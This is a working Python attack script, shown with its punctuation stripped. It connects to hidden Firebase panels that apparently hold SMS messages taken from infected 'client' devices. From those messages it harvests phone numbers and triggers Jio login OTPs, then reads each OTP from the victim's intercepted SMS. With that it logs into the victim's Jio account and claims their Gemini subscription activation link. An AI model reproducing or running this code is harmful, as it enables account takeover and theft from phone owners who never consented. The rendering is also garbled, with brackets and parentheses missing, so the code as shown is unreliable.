Jio Gemini 18M Link Extract

A developer published a Python script that automates extracting Google Gemini activation links from Jio's OTT subscription flow, using the Jio recharge and login APIs to check numbers, send and verify OTPs, and pull activation URLs from Firebase-backed message panels. The tool logs results such as mobile number, status, and activation URL to a CSV, with statuses including activation_url_found, already_active, and otp_failed.

| | from future import annotations | | | import base64 | | | import csv | | | import html | | | import json | | | import re | | | import sys | | | import time | | | from collections import Counter, defaultdict | | | from dataclasses import dataclass, field | | | from datetime import datetime | | | from pathlib import Path | | | from typing import Any, Callable, Dict, List, Optional, Set, Tuple | | | from urllib.parse import unquote | | | from zoneinfo import ZoneInfo | | | import requests | | | from rich.console import Console | | | from rich.panel import Panel | | | from rich.progress import BarColumn, Progress, SpinnerColumn, TextColumn, TimeElapsedColumn | | | from rich.style import Style | | | from rich.table import Table | | | from rich.text import Text | | | Ensure stdout/stderr handles UTF-8 on Windows environments | | | if sys.stdout and hasattr sys.stdout, "reconfigure" : | | | try: | | | sys.stdout.reconfigure encoding="utf-8" | | | except Exception: | | | pass | | | if sys.stderr and hasattr sys.stderr, "reconfigure" : | | | try: | | | sys.stderr.reconfigure encoding="utf-8" | | | except Exception: | | | pass | | | Initialize Rich console | | | console = Console | | | ==================== CONFIGURATION ==================== | | | FIREBASE PANELS: List Tuple str, str = | | | "https://annebellapanel.vercel.app/?s=aHR0cHM6Ly9jb3VzdGVtZXItc3VwcG9ydC0xMmU0MC1kZWZhdWx0LXJ0ZGIuZmlyZWJhc2Vpby5jb218fHxBbm5lYmVsbGE=", "Gagw" , | | | | | | MESSAGE SCAN LIMIT: int = 100 | | | OTP TIMEOUT: int = 15 | | | POLL INTERVAL: int = 1 | | | LINKS FILE: Path = Path "gemini activation links.txt" | | | RESULTS FILE: Path = Path "gemini results.csv" | | | CHECK NUMBER URL: str = "https://www.jio.com/api/jio-recharge-service/recharge/mobility/number/{mobile}" | | | SEND OTP URL: str = "https://www.jio.com/api/jio-login-service/login/sendOtp" | | | VERIFY OTP URL: str = "https://www.jio.com/api/jio-login-service/login/validateOtp" | | | AUTH URL: str = "https://www.jio.com/api/jio-authenticate-service/authenticate/authJsonData" | | | NAVIGATE URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/navigate/Z0241" | | | ACTIVATE URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/activate/Z0241?source=JIO" | | | GOOGLE URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/google-ai" | | | SUBMIT URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/submit" | | | GOOGLE PAGE: str = "https://www.jio.com/selfcare/googleai/?header=no&type=Z0241&source=JIO" | | | NUMBER PATTERNS: Tuple re.Pattern, ... = | | | re.compile r" ?i \bjio\s ?:number\|no . ? \s :=- ?\s ?: + 91 ? 6-9 \d{9} " , | | | re.compile r" ?i \brecharge ?:\s+now ?\s+jio\s+no . ?\s :=- ?\s ?: + 91 ? 6-9 \d{9} " , | | | | | | OTP WORD PATTERN: re.Pattern = re.compile r" ?i \botp\b\|one - ?time password" | | | OTP PATTERN: re.Pattern = re.compile r" ?< \d \d{6} ? \d " | | | ACTIVATION PATTERN: re.Pattern = re.compile | | | r"https?://serviceactivation . google . com/subscription/new/" | | | r" ?P<token A-Za-z0-9 - {50,} ?P<padding ={0,2} ", | | | re.IGNORECASE, | | | | | | RESULT FIELDS: Tuple str, ... = | | | "serial number", | | | "device id", | | | "mobile number", | | | "status", | | | "activation url", | | | "nepal date", | | | "nepal time", | | | | | | Status color mappings for terminal UI display | | | STATUS COLORS: Dict str, str = { | | | "activation url found": "bold green", | | | "already active": "bold yellow", | | | "device offline": "dim red", | | | "not jio number": "bold red", | | | "otp send failed": "bold red", | | | "otp failed": "bold red", | | | "activation api failed": "bold red", | | | "no activation url": "bold orange3", | | | "api session invalid": "bold red", | | | } | | | ==================== DATA MODELS ==================== | | | @dataclass | | | class OnlineDevice: | | | """Represents an online target device connected to Firebase.""" | | | device id: str | | | base url: str | | | firebase key: str | | | firebase session: requests.Session | | | data: Dict str, Any | | | @dataclass | | | class TargetNumber: | | | """Represents a target mobile number mapped to a specific device.""" | | | device id: str | | | mobile number: str | | | ==================== HELPER FUNCTIONS ==================== | | | def parse panel info url: str, default key: str - Tuple str, str : | | | """Parse and decrypt panel connection parameters base URL and auth key .""" | | | if "?s=" in url: | | | try: | | | s param = url.split "?s=" 1 .split "&" 0 | | | Try XOR format zxkaiz algorithm | | | try: | | | b64 = s param + "=" -len s param % 4 | | | bin data = base64.urlsafe b64decode b64 | | | key str = "ZXKAIv1 Xk9mP2wN7qL4vR6jH3cF8yT1ZbE5sA09" | | | dec = bytearray | | | for i in range len bin data : | | | dec.append bin data i ^ ord key str i % len key str | | | obj = json.loads dec.decode "utf-8" | | | if "u" in obj and "k" in obj: | | | return obj "u" .strip , obj "k" .strip | | | except Exception: | | | pass | | | Fallback to legacy base64 format firexpanel / annebellapanel | | | b64 part = s param + "=" -len s param % 4 | | | decoded = base64.b64decode b64 part .decode "utf-8" | | | if "\|\|\|" in decoded: | | | return decoded.split "\|\|\|" 0 .strip , default key | | | return decoded.strip , default key | | | except Exception: | | | pass | | | return url, default key | | | def firebase session - requests.Session: | | | """Create a configured HTTP session for Firebase REST requests.""" | | | session = requests.Session | | | session.headers.update {"Accept": "application/json", "Cache-Control": "no-cache"} | | | return session | | | def jio session - requests.Session: | | | """Create a configured HTTP session with browser headers for Jio APIs.""" | | | session = requests.Session | | | session.headers.update { | | | "User-Agent": "Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 Chrome/120 Safari/537.36", | | | "Accept": "application/json, text/plain, / ", | | | "Accept-Language": "en-US,en;q=0.9", | | | "Origin": "https://www.jio.com", | | | "Referer": "https://www.jio.com/selfcare/login/", | | | } | | | return session | | | def firebase get | | | session: requests.Session, | | | base url: str, | | | key: str, | | | path: str, | | | params: Optional Dict str, Any = None, | | | - Any: | | | """Execute a authenticated GET request to Firebase database endpoint.""" | | | query = {"auth": key} | | | if params: | | | query.update params | | | response = session.get f"{base url}/{path.strip '/' }.json", params=query, timeout=20 | | | response.raise for status | | | return response.json | | | def latest messages | | | session: requests.Session, | | | base url: str, | | | key: str, | | | device id: str, | | | limit: int, | | | - Dict str, Dict str, Any : | | | """Retrieve latest SMS messages for a given device from Firebase.""" | | | data = firebase get | | | session, | | | base url, | | | key, | | | f"messages/{device id}", | | | {"orderBy": '"$key"', "limitToLast": max 1, limit }, | | | | | | if not isinstance data, dict : | | | return {} | | | return {name: value for name, value in data.items if isinstance value, dict } | | | def normalize mobile value: Any - Optional str : | | | """Sanitize and extract a 10-digit Indian mobile number.""" | | | digits = re.sub r"\D", "", str value or "" | | | if len digits 10 and digits.startswith "91" : | | | digits = digits -10: | | | return digits if re.fullmatch r" 6-9 \d{9}", digits else None | | | def number candidates messages: Dict str, Dict str, Any - Set str : | | | """Extract mobile number candidates from SMS payload body and SIM metadata.""" | | | found: Set str = set | | | for item in messages.values : | | | sim info = item.get "simInfo" | | | if isinstance sim info, dict : | | | mobile = normalize mobile sim info.get "phoneNumber" | | | if mobile: | | | found.add mobile | | | mobile = normalize mobile item.get "phoneNumber" | | | if mobile: | | | found.add mobile | | | body = str item.get "message", "" | | | for pattern in NUMBER PATTERNS: | | | found.update pattern.findall body | | | return found | | | def response json response: requests.Response - Dict str, Any : | | | """Safely parse JSON response body.""" | | | try: | | | data = response.json | | | except ValueError: | | | return {} | | | return data if isinstance data, dict else {} | | | def response error response: requests.Response - bool: | | | """Check whether HTTP response or payload indicates an API error.""" | | | if not response.ok: | | | return True | | | data = response json response | | | if data.get "errorMessage" or data.get "error" : | | | return True | | | return str data.get "status", "" .lower in {"failed", "failure", "error", "false"} | | | def is jio number session: requests.Session, mobile: str - bool: | | | """Validate whether the target number is an active Jio mobility line.""" | | | try: | | | response = session.get CHECK NUMBER URL.format mobile=mobile , timeout=20 | | | except requests.RequestException: | | | return False | | | data = response json response | | | return not response error response and bool data.get "primaryService" | | | def send otp session: requests.Session, mobile: str - bool: | | | """Trigger Jio login OTP dispatch to target mobile number.""" | | | try: | | | response = session.post | | | SEND OTP URL, | | | json={"mobileNumber": mobile, "loginFlowType": "MOBILE", "alternateNumber": ""}, | | | timeout=20, | | | | | | except requests.RequestException: | | | return False | | | return not response error response | | | def verify otp session: requests.Session, mobile: str, otp: str - bool: | | | """Verify received OTP against Jio authentication endpoint.""" | | | try: | | | response = session.post VERIFY OTP URL, json={"mobileNumber": mobile, "otp": otp}, timeout=20 | | | except requests.RequestException: | | | return False | | | return not response error response | | | def message order key: str, item: Dict str, Any - int: | | | """Extract message sorting priority integer.""" | | | for value in item.get "id" , item.get "timestamp" , key : | | | try: | | | return int value | | | except TypeError, ValueError : | | | continue | | | return 0 | | | def wait for otp | | | firebase: requests.Session, | | | base url: str, | | | key: str, | | | device id: str, | | | known keys: Set str , | | | jio: requests.Session, | | | mobile: str, | | | on tick: Optional Callable int , None = None, | | | - bool: | | | """Poll Firebase for incoming OTP SMS and attempt verification within deadline.""" | | | used: Set str = set | | | deadline = time.monotonic + OTP TIMEOUT | | | while time.monotonic < deadline: | | | remaining = max 0, int deadline - time.monotonic | | | if on tick: | | | on tick remaining | | | try: | | | messages = latest messages firebase, base url, key, device id, 20 | | | except requests.RequestException: | | | time.sleep POLL INTERVAL | | | continue | | | candidates: List Tuple int, str, str = | | | for message key, item in messages.items : | | | if message key in known keys or message key in used: | | | continue | | | body = str item.get "message", "" | | | if not OTP WORD PATTERN.search body : | | | continue | | | match = OTP PATTERN.search body | | | if match: | | | candidates.append message order message key, item , message key, match.group 1 | | | if candidates: | | | , message key, otp = max candidates | | | used.add message key | | | if verify otp jio, mobile, otp : | | | return True | | | time.sleep POLL INTERVAL | | | return False | | | def activation url value: str - str: | | | """Unescape and extract Google Gemini activation URL from redirection string.""" | | | text = html.unescape value or "" .replace "\\/", "/" | | | Try direct pattern match first before unquoting to avoid token corruption | | | match = ACTIVATION PATTERN.search text | | | if match: | | | return "https://serviceactivation.google.com/subscription/new/" + match.group "token" + match.group "padding" | | | Fallback with iterative unquoting if url-encoded | | | for in range 4 : | | | decoded = unquote text | | | if decoded == text: | | | break | | | text = decoded | | | match = ACTIVATION PATTERN.search text | | | if not match: | | | return "" | | | return "https://serviceactivation.google.com/subscription/new/" + match.group "token" + match.group "padding" | | | def already active value: str - bool: | | | """Detect if API response text indicates subscription is already claimed/active.""" | | | normalized = " ".join value or "" .lower .replace " ", " " .split | | | return any phrase in normalized for phrase in | | | "already active", "already activated", "already redeemed", | | | "already claimed", "already availed" | | | | | | def api message data: Dict str, Any - str: | | | """Extract descriptive status message from Jio API response object.""" | | | for name in "errorMessage", "responseMessage", "responseMsg", "message" : | | | if data.get name : | | | return str data name | | | return "" | | | def get activation session: requests.Session - Tuple str, str : | | | """Execute Jio OTT Google Gemini activation workflow and return status and link.""" | | | dashboard headers = {"Accept": " / ", "Referer": "https://www.jio.com/selfcare/dashboard/"} | | | offer headers = {"Accept": " / ", "Referer": GOOGLE PAGE} | | | try: | | | auth response = session.get AUTH URL, headers=dashboard headers, timeout=20 | | | auth data = response json auth response | | | if not auth response.ok or str auth data.get "loginFlag", "" .lower = "true": | | | return "api session invalid", "" | | | session.get NAVIGATE URL, headers=dashboard headers, timeout=20 | | | activate response = session.get ACTIVATE URL, headers=offer headers, timeout=20 | | | activate data = response json activate response | | | if already active api message activate data : | | | return "already active", "" | | | if not activate response.ok or str activate data.get "errorCode", "200" = "200": | | | return "activation api failed", "" | | | google response = session.get GOOGLE URL, headers=offer headers, timeout=20 | | | google data = response json google response | | | if already active api message google data : | | | return "already active", "" | | | url = activation url str google data.get "redirectionURL", "" | | | if not url: | | | return "no activation url", "" | | | try: | | | session.get SUBMIT URL, headers=offer headers, timeout=20 | | | except requests.RequestException: | | | pass | | | return "activation url found", url | | | except requests.RequestException: | | | return "activation api failed", "" | | | def save link url: str - None: | | | """Persist generated Gemini activation link to output text file.""" | | | if not url: | | | return | | | existing = set LINKS FILE.read text encoding="utf-8" .splitlines if LINKS FILE.exists else set | | | if url in existing: | | | return | | | with LINKS FILE.open "a", encoding="utf-8" as handle: | | | handle.write url + "\n" | | | def save result serial: int, device id: str, mobile: str, status: str, url: str - None: | | | """Record activation execution outcome into CSV results file.""" | | | now = datetime.now ZoneInfo "Asia/Kathmandu" | | | exists = RESULTS FILE.exists and RESULTS FILE.stat .st size 0 | | | with RESULTS FILE.open "a", newline="", encoding="utf-8" as handle: | | | writer = csv.DictWriter handle, fieldnames=RESULT FIELDS | | | if not exists: | | | writer.writeheader | | | writer.writerow { | | | "serial number": serial, | | | "device id": device id, | | | "mobile number": mobile, | | | "status": status, | | | "activation url": url, | | | "nepal date": now.strftime "%Y-%m-%d" , | | | "nepal time": now.strftime "%I:%M:%S %p" , | | | } | | | ==================== TERMINAL UI PRESENTATION ==================== | | | def print banner - None: | | | """Render simple header banner in terminal.""" | | | panel = Panel | | | Text "JIO GEMINI SCANNER", style="bold cyan", justify="center" , | | | border style="cyan", | | | padding= 0, 4 , | | | expand=False, | | | | | | console.print | | | console.print panel, justify="center" | | | console.print | | | def format status badge status: str - str: | | | """Format string status into a colored rich badge.""" | | | color = STATUS COLORS.get status, "bold white" | | | label = status.upper .replace " ", " " | | | return f" {color} {label} /{color} " | | | def mask number mobile: str - str: | | | """Mask target phone number for clean output presentation.""" | | | if len mobile == 10: | | | return f" {mobile -4: }" | | | return mobile | | | ==================== MAIN EXECUTION CONTROLLER ==================== | | | def main - int: | | | print banner | | | ---------------- STAGE 1: PANEL DISCOVERY ---------------- | | | console.print " bold yellow STAGE 1 /bold yellow \| bold white Connecting Panels & Online Devices /bold white \n" | | | panel table = Table show header=True, header style="bold blue", border style="dim cyan", expand=True | | | panel table.add column "Panel ", justify="center", style="bold yellow", width=8 | | | panel table.add column "Host URL", style="cyan" | | | panel table.add column "Status", justify="center" | | | panel table.add column "Online Devices", justify="right", style="bold green" | | | all online devices: Dict str, OnlineDevice = {} | | | device messages: Dict str, Dict str, Dict str, Any = {} | | | with Progress | | | SpinnerColumn "dots", style="cyan" , | | | TextColumn " progress.description {task.description}" , | | | BarColumn bar width=30, style="cyan", complete style="bold blue" , | | | TimeElapsedColumn , | | | console=console, | | | as progress: | | | task = progress.add task "Inspecting Panels...", total=len FIREBASE PANELS | | | for panel idx, orig url, orig key in enumerate FIREBASE PANELS, start=1 : | | | base url, firebase key = parse panel info orig url, orig key | | | firebase = firebase session | | | try: | | | clients = firebase get firebase, base url, firebase key, "clients" | | | if not isinstance clients, dict : | | | panel table.add row str panel idx , base url :50 , " dim red No Clients /dim red ", "0" | | | progress.advance task | | | continue | | | online count = 0 | | | for device id, data in clients.items : | | | if isinstance data, dict and data.get "status" is True: | | | all online devices device id = OnlineDevice | | | device id=device id, | | | base url=base url, | | | firebase key=firebase key, | | | firebase session=firebase, | | | data=data, | | | | | | online count += 1 | | | status str = " bold green Connected /bold green " if online count 0 else " yellow No Online Devices /yellow " | | | panel table.add row str panel idx , base url :55 , status str, str online count | | | except Exception as e: | | | panel table.add row str panel idx , base url :55 , f" bold red Error: {type e . name } /bold red ", "0" | | | progress.advance task | | | console.print panel table | | | console.print f"\n bold green + Total Online Devices Identified: /bold green bold white {len all online devices } /bold white \n" | | | if not all online devices: | | | console.print Panel " bold red No online devices found across configured Firebase panels. /bold red ", border style="red" | | | return 1 | | | ---------------- STAGE 2: MESSAGE SCANNING & TARGET MAPPING ---------------- | | | console.print " bold yellow STAGE 2 /bold yellow \| bold white Scanning Messages & Extracting Targets /bold white \n" | | | mappings: Dict str, Set str = defaultdict set | | | total devices = len all online devices | | | with Progress | | | SpinnerColumn "bouncingBar", style="magenta" , | | | TextColumn " progress.description {task.description}" , | | | BarColumn bar width=40, style="magenta", complete style="bold green" , | | | TextColumn " bold cyan {task.completed}/{task.total} /bold cyan devices" , | | | console=console, | | | as progress: | | | scan task = progress.add task "Scanning Device SMS Archives...", total=total devices | | | for device id, info in all online devices.items : | | | try: | | | messages = latest messages | | | info.firebase session, | | | info.base url, | | | info.firebase key, | | | device id, | | | MESSAGE SCAN LIMIT, | | | | | | device messages device id = messages | | | for mobile in number candidates messages : | | | mappings mobile .add device id | | | except Exception: | | | device messages device id = {} | | | progress.advance scan task | | | targets: List TargetNumber = | | | for mobile, devices in sorted mappings.items : | | | if devices: | | | targets.append TargetNumber device id=sorted devices 0 , mobile number=mobile | | | console.print f"\n bold green + Unique Target Mobile Numbers Discovered: /bold green bold white {len targets } /bold white \n" | | | if not targets: | | | console.print Panel " bold red No candidate mobile numbers extracted from device messages. /bold red ", border style="red" | | | return 1 | | | ---------------- STAGE 3: OTP & ACTIVATION WORKFLOW ---------------- | | | console.print " bold yellow STAGE 3 /bold yellow \| bold white OTP Verification & Activation /bold white \n" | | | statuses: Counter str = Counter | | | act table = Table show header=True, header style="bold magenta", border style="dim blue", expand=True | | | act table.add column " ", justify="center", style="bold yellow", width=5 | | | act table.add column "Device ID", style="dim white", width=18 | | | act table.add column "Target Number", justify="center", style="bold cyan", width=15 | | | act table.add column "Status Outcome", justify="center", width=22 | | | act table.add column "Activation Link / Output", style="green" | | | with Progress | | | SpinnerColumn "dots", style="bold cyan" , | | | TextColumn " bold cyan {task.completed}/{task.total} /bold cyan " , | | | BarColumn bar width=30, style="magenta", complete style="bold green" , | | | TextColumn " bold white {task.description} /bold white " , | | | TimeElapsedColumn , | | | console=console, | | | as progress: | | | act task = progress.add task "Initializing Target Queue...", total=len targets | | | for serial, target in enumerate targets, start=1 : | | | device id = target.device id | | | mobile = target.mobile number | | | masked = mask number mobile | | | info = all online devices.get device id | | | progress.update act task, description=f"Target {serial}/{len targets } {masked} : Checking device..." | | | if not info or not isinstance info.data, dict or info.data.get "status" is not True: | | | status, url = "device offline", "" | | | else: | | | progress.update act task, description=f"Target {serial}/{len targets } {masked} : Validating Jio line..." | | | jio = jio session | | | if not is jio number jio, mobile : | | | status, url = "not jio number", "" | | | else: | | | progress.update act task, description=f"Target {serial}/{len targets } {masked} : Sending Jio OTP..." | | | known keys = set device messages.get device id, {} | | | if not send otp jio, mobile : | | | status, url = "otp send failed", "" | | | else: | | | def update otp status rem sec: int - None: | | | progress.update | | | act task, | | | description=f"Target {serial}/{len targets } {masked} : Polling OTP SMS {rem sec}s remaining ...", | | | | | | if not wait for otp | | | info.firebase session, | | | info.base url, | | | info.firebase key, | | | device id, | | | known keys, | | | jio, | | | mobile, | | | on tick=update otp status, | | | : | | | status, url = "otp failed", "" | | | else: | | | progress.update act task, description=f"Target {serial}/{len targets } {masked} : Claiming Gemini subscription..." | | | status, url = get activation jio | | | statuses status += 1 | | | save link url | | | save result serial, device id, mobile, status, url | | | badge = format status badge status | | | if url: | | | link display = Text "OPEN LINK", style=f"bold underline green link {url}" | | | else: | | | link display = Text "-", style="dim" | | | act table.add row str serial , device id :16 , masked, badge, link display | | | if url: | | | link text = Text | | | link text.append f"\n + LINK {serial} {masked} : ", style="bold green" | | | link text.append url, style=f"bold underline cyan link {url}" | | | console.print link text, soft wrap=True | | | progress.advance act task | | | console.print act table | | | ---------------- SUMMARY DASHBOARD ---------------- | | | console.print "\n bold yellow SUMMARY /bold yellow \n" | | | summary table = Table show header=True, header style="bold green", border style="bold green", expand=False | | | summary table.add column "Status Metric", style="bold white", width=25 | | | summary table.add column "Count", justify="center", style="bold cyan", width=10 | | | summary table.add column "Badge", justify="center", width=22 | | | for status key, count in sorted statuses.items : | | | summary table.add row status key.replace " ", " " .title , str count , format status badge status key | | | console.print summary table | | | file info = Text | | | file info.append "Saved Outputs:\n", style="bold cyan" | | | file info.append f" Activation Links : {LINKS FILE.resolve }\n", style="white" | | | file info.append f" Detailed Results : {RESULTS FILE.resolve }", style="white" | | | console.print Panel file info, title=" bold green Complete /bold green ", border style="green" | | | return 0 | | | if name == " main ": | | | try: | | | sys.exit main | | | except KeyboardInterrupt: | | | console.print "\n bold red Execution interrupted by user. /bold red " | | | sys.exit 130 |